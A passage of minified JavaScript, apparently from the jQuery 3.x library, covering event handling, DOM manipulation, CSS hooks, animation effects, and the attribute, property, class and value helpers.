Array(arguments.length),j=(W.get(this,"events")||{})[b.type]||[],k=r.event.special[b.type]||{};for(i[0]=b,c=1;c<arguments.length;c++)i[c]=arguments[c];if(b.delegateTarget=this,!k.preDispatch||k.preDispatch.call(this,b)!==!1){h=r.event.handlers.call(this,b,j),c=0;while((f=h[c++])&&!b.isPropagationStopped()){b.currentTarget=f.elem,d=0;while((g=f.handlers[d++])&&!b.isImmediatePropagationStopped())b.rnamespace&&!b.rnamespace.test(g.namespace)||(b.handleObj=g,b.data=g.data,e=((r.event.special[g.origType]||{}).handle||g.handler).apply(f.elem,i),void 0!==e&&(b.result=e)===!1&&(b.preventDefault(),b.stopPropagation()))}return k.postDispatch&&k.postDispatch.call(this,b),b.result}},handlers:function(a,b){var c,d,e,f,g,h=[],i=b.delegateCount,j=a.target;if(i&&j.nodeType&&!("click"===a.type&&a.button>=1))for(;j!==this;j=j.parentNode||this)if(1===j.nodeType&&("click"!==a.type||j.disabled!==!0)){for(f=[],g={},c=0;c<i;c++)d=b[c],e=d.selector+" ",void 0===g[e]&&(g[e]=d.needsContext?r(e,this).index(j)>-1:r.find(e,this,null,[j]).length),g[e]&&f.push(d);f.length&&h.push({elem:j,handlers:f})}return j=this,i<b.length&&h.push({elem:j,handlers:b.slice(i)}),h},addProp:function(a,b){Object.defineProperty(r.Event.prototype,a,{enumerable:!0,configurable:!0,get:r.isFunction(b)?function(){if(this.originalEvent)return b(this.originalEvent)}:function(){if(this.originalEvent)return this.originalEvent[a]},set:function(b){Object.defineProperty(this,a,{enumerable:!0,configurable:!0,writable:!0,value:b})}})},fix:function(a){return a[r.expando]?a:new r.Event(a)},special:{load:{noBubble:!0},focus:{trigger:function(){if(this!==xa()&&this.focus)return this.focus(),!1},delegateType:"focusin"},blur:{trigger:function(){if(this===xa()&&this.blur)return this.blur(),!1},delegateType:"focusout"},click:{trigger:function(){if("checkbox"===this.type&&this.click&&B(this,"input"))return this.click(),!1},_default:function(a){return B(a.target,"a")}},beforeunload:{postDispatch:function(a){void 0!==a.result&&a.originalEvent&&(a.originalEvent.returnValue=a.result)}}}},r.removeEvent=function(a,b,c){a.removeEventListener&&a.removeEventListener(b,c)},r.Event=function(a,b){return this instanceof r.Event?(a&&a.type?(this.originalEvent=a,this.type=a.type,this.isDefaultPrevented=a.defaultPrevented||void 0===a.defaultPrevented&&a.returnValue===!1?va:wa,this.target=a.target&&3===a.target.nodeType?a.target.parentNode:a.target,this.currentTarget=a.currentTarget,this.relatedTarget=a.relatedTarget):this.type=a,b&&r.extend(this,b),this.timeStamp=a&&a.timeStamp||r.now(),void(this[r.expando]=!0)):new r.Event(a,b)},r.Event.prototype={constructor:r.Event,isDefaultPrevented:wa,isPropagationStopped:wa,isImmediatePropagationStopped:wa,isSimulated:!1,preventDefault:function(){var a=this.originalEvent;this.isDefaultPrevented=va,a&&!this.isSimulated&&a.preventDefault()},stopPropagation:function(){var a=this.originalEvent;this.isPropagationStopped=va,a&&!this.isSimulated&&a.stopPropagation()},stopImmediatePropagation:function(){var a=this.originalEvent;this.isImmediatePropagationStopped=va,a&&!this.isSimulated&&a.stopImmediatePropagation(),this.stopPropagation()}},r.each({altKey:!0,bubbles:!0,cancelable:!0,changedTouches:!0,ctrlKey:!0,detail:!0,eventPhase:!0,metaKey:!0,pageX:!0,pageY:!0,shiftKey:!0,view:!0,"char":!0,charCode:!0,key:!0,keyCode:!0,button:!0,buttons:!0,clientX:!0,clientY:!0,offsetX:!0,offsetY:!0,pointerId:!0,pointerType:!0,screenX:!0,screenY:!0,targetTouches:!0,toElement:!0,touches:!0,which:function(a){var b=a.button;return null==a.which&&sa.test(a.type)?null!=a.charCode?a.charCode:a.keyCode:!a.which&&void 0!==b&&ta.test(a.type)?1&b?1:2&b?3:4&b?2:0:a.which}},r.event.addProp),r.each({mouseenter:"mouseover",mouseleave:"mouseout",pointerenter:"pointerover",pointerleave:"pointerout"},function(a,b){r.event.special[a]={delegateType:b,bindType:b,handle:function(a){var c,d=this,e=a.relatedTarget,f=a.handleObj;return e&&(e===d||r.contains(d,e))||(a.type=f.origType,c=f.handler.apply(this,arguments),a.type=b),c}}}),r.fn.extend({on:function(a,b,c,d){return ya(this,a,b,c,d)},one:function(a,b,c,d){return ya(this,a,b,c,d,1)},off:function(a,b,c){var d,e;if(a&&a.preventDefault&&a.handleObj)return d=a.handleObj,r(a.delegateTarget).off(d.namespace?d.origType+"."+d.namespace:d.origType,d.selector,d.handler),this;if("object"==typeof a){for(e in a)this.off(e,b,a[e]);return this}return b!==!1&&"function"!=typeof b||(c=b,b=void 0),c===!1&&(c=wa),this.each(function(){r.event.remove(this,a,c,b)})}});var za=/<(?!area|br|col|embed|hr|img|input|link|meta|param)(([a-z][^\/\0>\x20\t\r\n\f]*)[^>]*)\/>/gi,Aa=/<script|<style|<link/i,Ba=/checked\s*(?:[^=]|=\s*.checked.)/i,Ca=/^true\/(.*)/,Da=/^\s*<!(?:\[CDATA\[|--)|(?:\]\]|--)>\s*$/g;function Ea(a,b){return B(a,"table")&&B(11!==b.nodeType?b:b.firstChild,"tr")?r(">tbody",a)[0]||a:a}function Fa(a){return a.type=(null!==a.getAttribute("type"))+"/"+a.type,a}function Ga(a){var b=Ca.exec(a.type);return b?a.type=b[1]:a.removeAttribute("type"),a}function Ha(a,b){var c,d,e,f,g,h,i,j;if(1===b.nodeType){if(W.hasData(a)&&(f=W.access(a),g=W.set(b,f),j=f.events)){delete g.handle,g.events={};for(e in j)for(c=0,d=j[e].length;c<d;c++)r.event.add(b,e,j[e][c])}X.hasData(a)&&(h=X.access(a),i=r.extend({},h),X.set(b,i))}}function Ia(a,b){var c=b.nodeName.toLowerCase();"input"===c&&ja.test(a.type)?b.checked=a.checked:"input"!==c&&"textarea"!==c||(b.defaultValue=a.defaultValue)}function Ja(a,b,c,d){b=g.apply([],b);var e,f,h,i,j,k,l=0,m=a.length,n=m-1,q=b[0],s=r.isFunction(q);if(s||m>1&&"string"==typeof q&&!o.checkClone&&Ba.test(q))return a.each(function(e){var f=a.eq(e);s&&(b[0]=q.call(this,e,f.html())),Ja(f,b,c,d)});if(m&&(e=qa(b,a[0].ownerDocument,!1,a,d),f=e.firstChild,1===e.childNodes.length&&(e=f),f||d)){for(h=r.map(na(e,"script"),Fa),i=h.length;l<m;l++)j=e,l!==n&&(j=r.clone(j,!0,!0),i&&r.merge(h,na(j,"script"))),c.call(a[l],j,l);if(i)for(k=h[h.length-1].ownerDocument,r.map(h,Ga),l=0;l<i;l++)j=h[l],la.test(j.type||"")&&!W.access(j,"globalEval")&&r.contains(k,j)&&(j.src?r._evalUrl&&r._evalUrl(j.src):p(j.textContent.replace(Da,""),k))}return a}function Ka(a,b,c){for(var d,e=b?r.filter(b,a):a,f=0;null!=(d=e[f]);f++)c||1!==d.nodeType||r.cleanData(na(d)),d.parentNode&&(c&&r.contains(d.ownerDocument,d)&&oa(na(d,"script")),d.parentNode.removeChild(d));return a}r.extend({htmlPrefilter:function(a){return a.replace(za,"<$1></$2>")},clone:function(a,b,c){var d,e,f,g,h=a.cloneNode(!0),i=r.contains(a.ownerDocument,a);if(!(o.noCloneChecked||1!==a.nodeType&&11!==a.nodeType||r.isXMLDoc(a)))for(g=na(h),f=na(a),d=0,e=f.length;d<e;d++)Ia(f[d],g[d]);if(b)if(c)for(f=f||na(a),g=g||na(h),d=0,e=f.length;d<e;d++)Ha(f[d],g[d]);else Ha(a,h);return g=na(h,"script"),g.length>0&&oa(g,!i&&na(a,"script")),h},cleanData:function(a){for(var b,c,d,e=r.event.special,f=0;void 0!==(c=a[f]);f++)if(U(c)){if(b=c[W.expando]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a){return T(this,function(a){return void 0===a?r.text(this):this.empty().each(function(){1!==this.nodeType&&11!==this.nodeType&&9!==this.nodeType||(this.textContent=a)})},null,a,arguments.length)},append:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.appendChild(a)}})},prepend:function(){return Ja(this,arguments,function(a){if(1===this.nodeType||11===this.nodeType||9===this.nodeType){var b=Ea(this,a);b.insertBefore(a,b.firstChild)}})},before:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this)})},after:function(){return Ja(this,arguments,function(a){this.parentNode&&this.parentNode.insertBefore(a,this.nextSibling)})},empty:function(){for(var a,b=0;null!=(a=this[b]);b++)1===a.nodeType&&(r.cleanData(na(a,!1)),a.textContent="");return this},clone:function(a,b){return a=null!=a&&a,b=null==b?a:b,this.map(function(){return r.clone(this,a,b)})},html:function(a){return T(this,function(a){var b=this[0]||{},c=0,d=this.length;if(void 0===a&&1===b.nodeType)return b.innerHTML;if("string"==typeof a&&!Aa.test(a)&&!ma[(ka.exec(a)||["",""])[1].toLowerCase()]){a=r.htmlPrefilter(a);try{for(;c<d;c++)b=this[c]||{},1===b.nodeType&&(r.cleanData(na(b,!1)),b.innerHTML=a);b=0}catch(e){}}b&&this.empty().append(a)},null,a,arguments.length)},replaceWith:function(){var a=[];return Ja(this,arguments,function(b){var c=this.parentNode;r.inArray(this,a)<0&&(r.cleanData(na(this)),c&&c.replaceChild(b,this))},a)}}),r.each({appendTo:"append",prependTo:"prepend",insertBefore:"before",insertAfter:"after",replaceAll:"replaceWith"},function(a,b){r.fn[a]=function(a){for(var c,d=[],e=r(a),f=e.length-1,g=0;g<=f;g++)c=g===f?this:this.clone(!0),r(e[g])[b](c),h.apply(d,c.get());return this.pushStack(d)}});var La=/^margin/,Ma=new RegExp("^("+aa+")(?!px)[a-z%]+$","i"),Na=function(b){var c=b.ownerDocument.defaultView;return c&&c.opener||(c=a),c.getComputedStyle(b)};!function(){function b(){if(i){i.style.cssText="box-sizing:border-box;position:relative;display:block;margin:auto;border:1px;padding:1px;top:1%;width:50%",i.innerHTML="",ra.appendChild(h);var b=a.getComputedStyle(i);c="1%"!==b.top,g="2px"===b.marginLeft,e="4px"===b.width,i.style.marginRight="50%",f="4px"===b.marginRight,ra.removeChild(h),i=null}}var c,e,f,g,h=d.createElement("div"),i=d.createElement("div");i.style&&(i.style.backgroundClip="content-box",i.cloneNode(!0).style.backgroundClip="",o.clearCloneStyle="content-box"===i.style.backgroundClip,h.style.cssText="border:0;width:8px;height:0;top:0;left:-9999px;padding:0;margin-top:1px;position:absolute",h.appendChild(i),r.extend(o,{pixelPosition:function(){return b(),c},boxSizingReliable:function(){return b(),e},pixelMarginRight:function(){return b(),f},reliableMarginLeft:function(){return b(),g}}))}();function Oa(a,b,c){var d,e,f,g,h=a.style;return c=c||Na(a),c&&(g=c.getPropertyValue(b)||c[b],""!==g||r.contains(a.ownerDocument,a)||(g=r.style(a,b)),!o.pixelMarginRight()&&Ma.test(g)&&La.test(b)&&(d=h.width,e=h.minWidth,f=h.maxWidth,h.minWidth=h.maxWidth=h.width=g,g=c.width,h.width=d,h.minWidth=e,h.maxWidth=f)),void 0!==g?g+"":g}function Pa(a,b){return{get:function(){return a()?void delete this.get:(this.get=b).apply(this,arguments)}}}var Qa=/^(none|table(?!-c[ea]).+)/,Ra=/^--/,Sa={position:"absolute",visibility:"hidden",display:"block"},Ta={letterSpacing:"0",fontWeight:"400"},Ua=["Webkit","Moz","ms"],Va=d.createElement("div").style;function Wa(a){if(a in Va)return a;var b=a[0].toUpperCase()+a.slice(1),c=Ua.length;while(c--)if(a=Ua[c]+b,a in Va)return a}function Xa(a){var b=r.cssProps[a];return b||(b=r.cssProps[a]=Wa(a)||a),b}function Ya(a,b,c){var d=ba.exec(b);return d?Math.max(0,d[2]-(c||0))+(d[3]||"px"):b}function Za(a,b,c,d,e){var f,g=0;for(f=c===(d?"border":"content")?4:"width"===b?1:0;f<4;f+=2)"margin"===c&&(g+=r.css(a,c+ca[f],!0,e)),d?("content"===c&&(g-=r.css(a,"padding"+ca[f],!0,e)),"margin"!==c&&(g-=r.css(a,"border"+ca[f]+"Width",!0,e))):(g+=r.css(a,"padding"+ca[f],!0,e),"padding"!==c&&(g+=r.css(a,"border"+ca[f]+"Width",!0,e)));return g}function $a(a,b,c){var d,e=Na(a),f=Oa(a,b,e),g="border-box"===r.css(a,"boxSizing",!1,e);return Ma.test(f)?f:(d=g&&(o.boxSizingReliable()||f===a.style[b]),"auto"===f&&(f=a["offset"+b[0].toUpperCase()+b.slice(1)]),f=parseFloat(f)||0,f+Za(a,b,c||(g?"border":"content"),d,e)+"px")}r.extend({cssHooks:{opacity:{get:function(a,b){if(b){var c=Oa(a,"opacity");return""===c?"1":c}}}},cssNumber:{animationIterationCount:!0,columnCount:!0,fillOpacity:!0,flexGrow:!0,flexShrink:!0,fontWeight:!0,lineHeight:!0,opacity:!0,order:!0,orphans:!0,widows:!0,zIndex:!0,zoom:!0},cssProps:{"float":"cssFloat"},style:function(a,b,c,d){if(a&&3!==a.nodeType&&8!==a.nodeType&&a.style){var e,f,g,h=r.camelCase(b),i=Ra.test(b),j=a.style;return i||(b=Xa(h)),g=r.cssHooks[b]||r.cssHooks[h],void 0===c?g&&"get"in g&&void 0!==(e=g.get(a,!1,d))?e:j[b]:(f=typeof c,"string"===f&&(e=ba.exec(c))&&e[1]&&(c=fa(a,b,e),f="number"),null!=c&&c===c&&("number"===f&&(c+=e&&e[3]||(r.cssNumber[h]?"":"px")),o.clearCloneStyle||""!==c||0!==b.indexOf("background")||(j[b]="inherit"),g&&"set"in g&&void 0===(c=g.set(a,c,d))||(i?j.setProperty(b,c):j[b]=c)),void 0)}},css:function(a,b,c,d){var e,f,g,h=r.camelCase(b),i=Ra.test(b);return i||(b=Xa(h)),g=r.cssHooks[b]||r.cssHooks[h],g&&"get"in g&&(e=g.get(a,!0,c)),void 0===e&&(e=Oa(a,b,d)),"normal"===e&&b in Ta&&(e=Ta[b]),""===c||c?(f=parseFloat(e),c===!0||isFinite(f)?f||0:e):e}}),r.each(["height","width"],function(a,b){r.cssHooks[b]={get:function(a,c,d){if(c)return!Qa.test(r.css(a,"display"))||a.getClientRects().length&&a.getBoundingClientRect().width?$a(a,b,d):ea(a,Sa,function(){return $a(a,b,d)})},set:function(a,c,d){var e,f=d&&Na(a),g=d&&Za(a,b,d,"border-box"===r.css(a,"boxSizing",!1,f),f);return g&&(e=ba.exec(c))&&"px"!==(e[3]||"px")&&(a.style[b]=c,c=r.css(a,b)),Ya(a,c,g)}}}),r.cssHooks.marginLeft=Pa(o.reliableMarginLeft,function(a,b){if(b)return(parseFloat(Oa(a,"marginLeft"))||a.getBoundingClientRect().left-ea(a,{marginLeft:0},function(){return a.getBoundingClientRect().left}))+"px"}),r.each({margin:"",padding:"",border:"Width"},function(a,b){r.cssHooks[a+b]={expand:function(c){for(var d=0,e={},f="string"==typeof c?c.split(" "):[c];d<4;d++)e[a+ca[d]+b]=f[d]||f[d-2]||f[0];return e}},La.test(a)||(r.cssHooks[a+b].set=Ya)}),r.fn.extend({css:function(a,b){return T(this,function(a,b,c){var d,e,f={},g=0;if(Array.isArray(b)){for(d=Na(a),e=b.length;g<e;g++)f[b[g]]=r.css(a,b[g],!1,d);return f}return void 0!==c?r.style(a,b,c):r.css(a,b)},a,b,arguments.length>1)}});function _a(a,b,c,d,e){return new _a.prototype.init(a,b,c,d,e)}r.Tween=_a,_a.prototype={constructor:_a,init:function(a,b,c,d,e,f){this.elem=a,this.prop=c,this.easing=e||r.easing._default,this.options=b,this.start=this.now=this.cur(),this.end=d,this.unit=f||(r.cssNumber[c]?"":"px")},cur:function(){var a=_a.propHooks[this.prop];return a&&a.get?a.get(this):_a.propHooks._default.get(this)},run:function(a){var b,c=_a.propHooks[this.prop];return this.options.duration?this.pos=b=r.easing[this.easing](a,this.options.duration*a,0,1,this.options.duration):this.pos=b=a,this.now=(this.end-this.start)*b+this.start,this.options.step&&this.options.step.call(this.elem,this.now,this),c&&c.set?c.set(this):_a.propHooks._default.set(this),this}},_a.prototype.init.prototype=_a.prototype,_a.propHooks={_default:{get:function(a){var b;return 1!==a.elem.nodeType||null!=a.elem[a.prop]&&null==a.elem.style[a.prop]?a.elem[a.prop]:(b=r.css(a.elem,a.prop,""),b&&"auto"!==b?b:0)},set:function(a){r.fx.step[a.prop]?r.fx.step[a.prop](a):1!==a.elem.nodeType||null==a.elem.style[r.cssProps[a.prop]]&&!r.cssHooks[a.prop]?a.elem[a.prop]=a.now:r.style(a.elem,a.prop,a.now+a.unit)}}},_a.propHooks.scrollTop=_a.propHooks.scrollLeft={set:function(a){a.elem.nodeType&&a.elem.parentNode&&(a.elem[a.prop]=a.now)}},r.easing={linear:function(a){return a},swing:function(a){return.5-Math.cos(a*Math.PI)/2},_default:"swing"},r.fx=_a.prototype.init,r.fx.step={};var ab,bb,cb=/^(?:toggle|show|hide)$/,db=/queueHooks$/;function eb(){bb&&(d.hidden===!1&&a.requestAnimationFrame?a.requestAnimationFrame(eb):a.setTimeout(eb,r.fx.interval),r.fx.tick())}function fb(){return a.setTimeout(function(){ab=void 0}),ab=r.now()}function gb(a,b){var c,d=0,e={height:a};for(b=b?1:0;d<4;d+=2-b)c=ca[d],e["margin"+c]=e["padding"+c]=a;return b&&(e.opacity=e.width=a),e}function hb(a,b,c){for(var d,e=(kb.tweeners[b]||[]).concat(kb.tweeners["*"]),f=0,g=e.length;f<g;f++)if(d=e[f].call(c,b,a))return d}function ib(a,b,c){var d,e,f,g,h,i,j,k,l="width"in b||"height"in b,m=this,n={},o=a.style,p=a.nodeType&&da(a),q=W.get(a,"fxshow");c.queue||(g=r._queueHooks(a,"fx"),null==g.unqueued&&(g.unqueued=0,h=g.empty.fire,g.empty.fire=function(){g.unqueued||h()}),g.unqueued++,m.always(function(){m.always(function(){g.unqueued--,r.queue(a,"fx").length||g.empty.fire()})}));for(d in b)if(e=b[d],cb.test(e)){if(delete b[d],f=f||"toggle"===e,e===(p?"hide":"show")){if("show"!==e||!q||void 0===q[d])continue;p=!0}n[d]=q&&q[d]||r.style(a,d)}if(i=!r.isEmptyObject(b),i||!r.isEmptyObject(n)){l&&1===a.nodeType&&(c.overflow=[o.overflow,o.overflowX,o.overflowY],j=q&&q.display,null==j&&(j=W.get(a,"display")),k=r.css(a,"display"),"none"===k&&(j?k=j:(ia([a],!0),j=a.style.display||j,k=r.css(a,"display"),ia([a]))),("inline"===k||"inline-block"===k&&null!=j)&&"none"===r.css(a,"float")&&(i||(m.done(function(){o.display=j}),null==j&&(k=o.display,j="none"===k?"":k)),o.display="inline-block")),c.overflow&&(o.overflow="hidden",m.always(function(){o.overflow=c.overflow[0],o.overflowX=c.overflow[1],o.overflowY=c.overflow[2]})),i=!1;for(d in n)i||(q?"hidden"in q&&(p=q.hidden):q=W.access(a,"fxshow",{display:j}),f&&(q.hidden=!p),p&&ia([a],!0),m.done(function(){p||ia([a]),W.remove(a,"fxshow");for(d in n)r.style(a,d,n[d])})),i=hb(p?q[d]:0,d,m),d in q||(q[d]=i.start,p&&(i.end=i.start,i.start=0))}}function jb(a,b){var c,d,e,f,g;for(c in a)if(d=r.camelCase(c),e=b[d],f=a[c],Array.isArray(f)&&(e=f[1],f=a[c]=f[0]),c!==d&&(a[d]=f,delete a[c]),g=r.cssHooks[d],g&&"expand"in g){f=g.expand(f),delete a[d];for(c in f)c in a||(a[c]=f[c],b[c]=e)}else b[d]=e}function kb(a,b,c){var d,e,f=0,g=kb.prefilters.length,h=r.Deferred().always(function(){delete i.elem}),i=function(){if(e)return!1;for(var b=ab||fb(),c=Math.max(0,j.startTime+j.duration-b),d=c/j.duration||0,f=1-d,g=0,i=j.tweens.length;g<i;g++)j.tweens[g].run(f);return h.notifyWith(a,[j,f,c]),f<1&&i?c:(i||h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j]),!1)},j=h.promise({elem:a,props:r.extend({},b),opts:r.extend(!0,{specialEasing:{},easing:r.easing._default},c),originalProperties:b,originalOptions:c,startTime:ab||fb(),duration:c.duration,tweens:[],createTween:function(b,c){var d=r.Tween(a,j.opts,b,c,j.opts.specialEasing[b]||j.opts.easing);return j.tweens.push(d),d},stop:function(b){var c=0,d=b?j.tweens.length:0;if(e)return this;for(e=!0;c<d;c++)j.tweens[c].run(1);return b?(h.notifyWith(a,[j,1,0]),h.resolveWith(a,[j,b])):h.rejectWith(a,[j,b]),this}}),k=j.props;for(jb(k,j.opts.specialEasing);f<g;f++)if(d=kb.prefilters[f].call(j,a,k,j.opts))return r.isFunction(d.stop)&&(r._queueHooks(j.elem,j.opts.queue).stop=r.proxy(d.stop,d)),d;return r.map(k,hb,j),r.isFunction(j.opts.start)&&j.opts.start.call(a,j),j.progress(j.opts.progress).done(j.opts.done,j.opts.complete).fail(j.opts.fail).always(j.opts.always),r.fx.timer(r.extend(i,{elem:a,anim:j,queue:j.opts.queue})),j}r.Animation=r.extend(kb,{tweeners:{"*":[function(a,b){var c=this.createTween(a,b);return fa(c.elem,a,ba.exec(b),c),c}]},tweener:function(a,b){r.isFunction(a)?(b=a,a=["*"]):a=a.match(L);for(var c,d=0,e=a.length;d<e;d++)c=a[d],kb.tweeners[c]=kb.tweeners[c]||[],kb.tweeners[c].unshift(b)},prefilters:[ib],prefilter:function(a,b){b?kb.prefilters.unshift(a):kb.prefilters.push(a)}}),r.speed=function(a,b,c){var d=a&&"object"==typeof a?r.extend({},a):{complete:c||!c&&b||r.isFunction(a)&&a,duration:a,easing:c&&b||b&&!r.isFunction(b)&&b};return r.fx.off?d.duration=0:"number"!=typeof d.duration&&(d.duration in r.fx.speeds?d.duration=r.fx.speeds[d.duration]:d.duration=r.fx.speeds._default),null!=d.queue&&d.queue!==!0||(d.queue="fx"),d.old=d.complete,d.complete=function(){r.isFunction(d.old)&&d.old.call(this),d.queue&&r.dequeue(this,d.queue)},d},r.fn.extend({fadeTo:function(a,b,c,d){return this.filter(da).css("opacity",0).show().end().animate({opacity:b},a,c,d)},animate:function(a,b,c,d){var e=r.isEmptyObject(a),f=r.speed(b,c,d),g=function(){var b=kb(this,r.extend({},a),f);(e||W.get(this,"finish"))&&b.stop(!0)};return g.finish=g,e||f.queue===!1?this.each(g):this.queue(f.queue,g)},stop:function(a,b,c){var d=function(a){var b=a.stop;delete a.stop,b(c)};return"string"!=typeof a&&(c=b,b=a,a=void 0),b&&a!==!1&&this.queue(a||"fx",[]),this.each(function(){var b=!0,e=null!=a&&a+"queueHooks",f=r.timers,g=W.get(this);if(e)g[e]&&g[e].stop&&d(g[e]);else for(e in g)g[e]&&g[e].stop&&db.test(e)&&d(g[e]);for(e=f.length;e--;)f[e].elem!==this||null!=a&&f[e].queue!==a||(f[e].anim.stop(c),b=!1,f.splice(e,1));!b&&c||r.dequeue(this,a)})},finish:function(a){return a!==!1&&(a=a||"fx"),this.each(function(){var b,c=W.get(this),d=c[a+"queue"],e=c[a+"queueHooks"],f=r.timers,g=d?d.length:0;for(c.finish=!0,r.queue(this,a,[]),e&&e.stop&&e.stop.call(this,!0),b=f.length;b--;)f[b].elem===this&&f[b].queue===a&&(f[b].anim.stop(!0),f.splice(b,1));for(b=0;b<g;b++)d[b]&&d[b].finish&&d[b].finish.call(this);delete c.finish})}}),r.each(["toggle","show","hide"],function(a,b){var c=r.fn[b];r.fn[b]=function(a,d,e){return null==a||"boolean"==typeof a?c.apply(this,arguments):this.animate(gb(b,!0),a,d,e)}}),r.each({slideDown:gb("show"),slideUp:gb("hide"),slideToggle:gb("toggle"),fadeIn:{opacity:"show"},fadeOut:{opacity:"hide"},fadeToggle:{opacity:"toggle"}},function(a,b){r.fn[a]=function(a,c,d){return this.animate(b,a,c,d)}}),r.timers=[],r.fx.tick=function(){var a,b=0,c=r.timers;for(ab=r.now();b<c.length;b++)a=c[b],a()||c[b]!==a||c.splice(b--,1);c.length||r.fx.stop(),ab=void 0},r.fx.timer=function(a){r.timers.push(a),r.fx.start()},r.fx.interval=13,r.fx.start=function(){bb||(bb=!0,eb())},r.fx.stop=function(){bb=null},r.fx.speeds={slow:600,fast:200,_default:400},r.fn.delay=function(b,c){return b=r.fx?r.fx.speeds[b]||b:b,c=c||"fx",this.queue(c,function(c,d){var e=a.setTimeout(c,b);d.stop=function(){a.clearTimeout(e)}})},function(){var a=d.createElement("input"),b=d.createElement("select"),c=b.appendChild(d.createElement("option"));a.type="checkbox",o.checkOn=""!==a.value,o.optSelected=c.selected,a=d.createElement("input"),a.value="t",a.type="radio",o.radioValue="t"===a.value}();var lb,mb=r.expr.attrHandle;r.fn.extend({attr:function(a,b){return T(this,r.attr,a,b,arguments.length>1)},removeAttr:function(a){return this.each(function(){r.removeAttr(this,a)})}}),r.extend({attr:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return"undefined"==typeof a.getAttribute?r.prop(a,b,c):(1===f&&r.isXMLDoc(a)||(e=r.attrHooks[b.toLowerCase()]||(r.expr.match.bool.test(b)?lb:void 0)),void 0!==c?null===c?void r.removeAttr(a,b):e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:(a.setAttribute(b,c+""),c):e&&"get"in e&&null!==(d=e.get(a,b))?d:(d=r.find.attr(a,b), null==d?void 0:d))},attrHooks:{type:{set:function(a,b){if(!o.radioValue&&"radio"===b&&B(a,"input")){var c=a.value;return a.setAttribute("type",b),c&&(a.value=c),b}}}},removeAttr:function(a,b){var c,d=0,e=b&&b.match(L);if(e&&1===a.nodeType)while(c=e[d++])a.removeAttribute(c)}}),lb={set:function(a,b,c){return b===!1?r.removeAttr(a,c):a.setAttribute(c,c),c}},r.each(r.expr.match.bool.source.match(/\w+/g),function(a,b){var c=mb[b]||r.find.attr;mb[b]=function(a,b,d){var e,f,g=b.toLowerCase();return d||(f=mb[g],mb[g]=e,e=null!=c(a,b,d)?g:null,mb[g]=f),e}});var nb=/^(?:input|select|textarea|button)$/i,ob=/^(?:a|area)$/i;r.fn.extend({prop:function(a,b){return T(this,r.prop,a,b,arguments.length>1)},removeProp:function(a){return this.each(function(){delete this[r.propFix[a]||a]})}}),r.extend({prop:function(a,b,c){var d,e,f=a.nodeType;if(3!==f&&8!==f&&2!==f)return 1===f&&r.isXMLDoc(a)||(b=r.propFix[b]||b,e=r.propHooks[b]),void 0!==c?e&&"set"in e&&void 0!==(d=e.set(a,c,b))?d:a[b]=c:e&&"get"in e&&null!==(d=e.get(a,b))?d:a[b]},propHooks:{tabIndex:{get:function(a){var b=r.find.attr(a,"tabindex");return b?parseInt(b,10):nb.test(a.nodeName)||ob.test(a.nodeName)&&a.href?0:-1}}},propFix:{"for":"htmlFor","class":"className"}}),o.optSelected||(r.propHooks.selected={get:function(a){var b=a.parentNode;return b&&b.parentNode&&b.parentNode.selectedIndex,null},set:function(a){var b=a.parentNode;b&&(b.selectedIndex,b.parentNode&&b.parentNode.selectedIndex)}}),r.each(["tabIndex","readOnly","maxLength","cellSpacing","cellPadding","rowSpan","colSpan","useMap","frameBorder","contentEditable"],function(){r.propFix[this.toLowerCase()]=this});function pb(a){var b=a.match(L)||[];return b.join(" ")}function qb(a){return a.getAttribute&&a.getAttribute("class")||""}r.fn.extend({addClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).addClass(a.call(this,b,qb(this)))});if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])d.indexOf(" "+f+" ")<0&&(d+=f+" ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},removeClass:function(a){var b,c,d,e,f,g,h,i=0;if(r.isFunction(a))return this.each(function(b){r(this).removeClass(a.call(this,b,qb(this)))});if(!arguments.length)return this.attr("class","");if("string"==typeof a&&a){b=a.match(L)||[];while(c=this[i++])if(e=qb(c),d=1===c.nodeType&&" "+pb(e)+" "){g=0;while(f=b[g++])while(d.indexOf(" "+f+" ")>-1)d=d.replace(" "+f+" "," ");h=pb(d),e!==h&&c.setAttribute("class",h)}}return this},toggleClass:function(a,b){var c=typeof a;return"boolean"==typeof b&&"string"===c?b?this.addClass(a):this.removeClass(a):r.isFunction(a)?this.each(function(c){r(this).toggleClass(a.call(this,c,qb(this),b),b)}):this.each(function(){var b,d,e,f;if("string"===c){d=0,e=r(this),f=a.match(L)||[];while(b=f[d++])e.hasClass(b)?e.removeClass(b):e.addClass(b)}else void 0!==a&&"boolean"!==c||(b=qb(this),b&&W.set(this,"__className__",b),this.setAttribute&&this.setAttribute("class",b||a===!1?"":W.get(this,"__className__")||""))})},hasClass:function(a){var b,c,d=0;b=" "+a+" ";while(c=this[d++])if(1===c.nodeType&&(" "+pb(qb(c))+" ").indexOf(b)>-1)return!0;return!1}});var rb=/\r/g;r.fn.extend({val:function(a){var b,c,d,e=this[0];{if(arguments.length)return d=r.isFunction(a),this.each(function(c){var e;1===this.nodeType&&(e=d?a.call(this,c,r(this).val()):a,null==e?e="":"number"==typeof e?e+="":Array.isArray(e)&&(e=r.map(e,function(a){return null==a?"":a+""})),b=r.valHooks[this.type]||r.valHooks[this.nodeName.toLowerCase()],b&&"set"in b&&void 0!==b.set(this,e,"value")||(this.value=e))});if(e)return b=r.valHooks[e.type]||r.valHooks[e.nodeName.toLowerCase()],b&&"get"in b&&void 0!==(c=b.get(e,"value"))?c:(c=e.value,"string"==typeof c?c.replace(rb,""):null==c?"":c)}}}),r.extend({valHooks:{option:{get:function(a){var b=r.find.attr(a,"value");return null!=b?b:pb(r.text(a))}},select:{get:function(a){var 